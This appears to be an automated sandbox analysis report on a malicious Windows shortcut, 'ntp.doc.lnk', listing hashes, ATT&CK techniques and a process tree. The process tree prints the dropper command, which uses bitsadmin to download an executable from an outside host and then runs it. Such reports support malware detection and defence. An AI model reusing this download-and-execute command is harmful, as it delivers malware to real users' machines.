ff995449039b12666054de503dc9fe5802b4a6e688277eeb06e8d36624dfd7a2

Analysis

max time kernel
134s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
11/10/2023, 11:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ntp.doc.lnk
Size

2KB
MD5

10a485b8c65306f6e992e68ab96bd6b6
SHA1

3537832558906a95d1669ff8ec37b1016805ec88
SHA256

93ef3ba4b4896b56850ef0a5f894155c163fe6d86fd5a70134b38ee1a7e2447a
SHA512

713cfd75c6e5ae3945ac4498c85190bdd1c41e89fd74f6b2eb16fddf6fc85befcf8e1be37fc134ca56fc0501d72d7a745872f02a8ed4a5c470b4b4cc1a62eb01

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2380	bitsadmin.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2696 wrote to memory of 3300	2696	cmd.exe	84
PID 2696 wrote to memory of 3300	2696	cmd.exe	84
PID 3300 wrote to memory of 2380	3300	cmd.exe	85
PID 3300 wrote to memory of 2380	3300	cmd.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ntp.doc.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C bitsadmin /transfer Update /download /priority FOREGROUND https://recipemedical.com/archive/ntp2.exe C:\Users\Admin\AppData\Local\Temp\ntp2.exe' & start C:\Users\Admin\AppData\Local\Temp\ntp2.exe'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Windows\system32\bitsadmin.exe
    bitsadmin /transfer Update /download /priority FOREGROUND https://recipemedical.com/archive/ntp2.exe C:\Users\Admin\AppData\Local\Temp\ntp2.exe'
    3⤵
    - Download via BitsAdmin
    PID:2380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

Loading Replay Monitor...

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads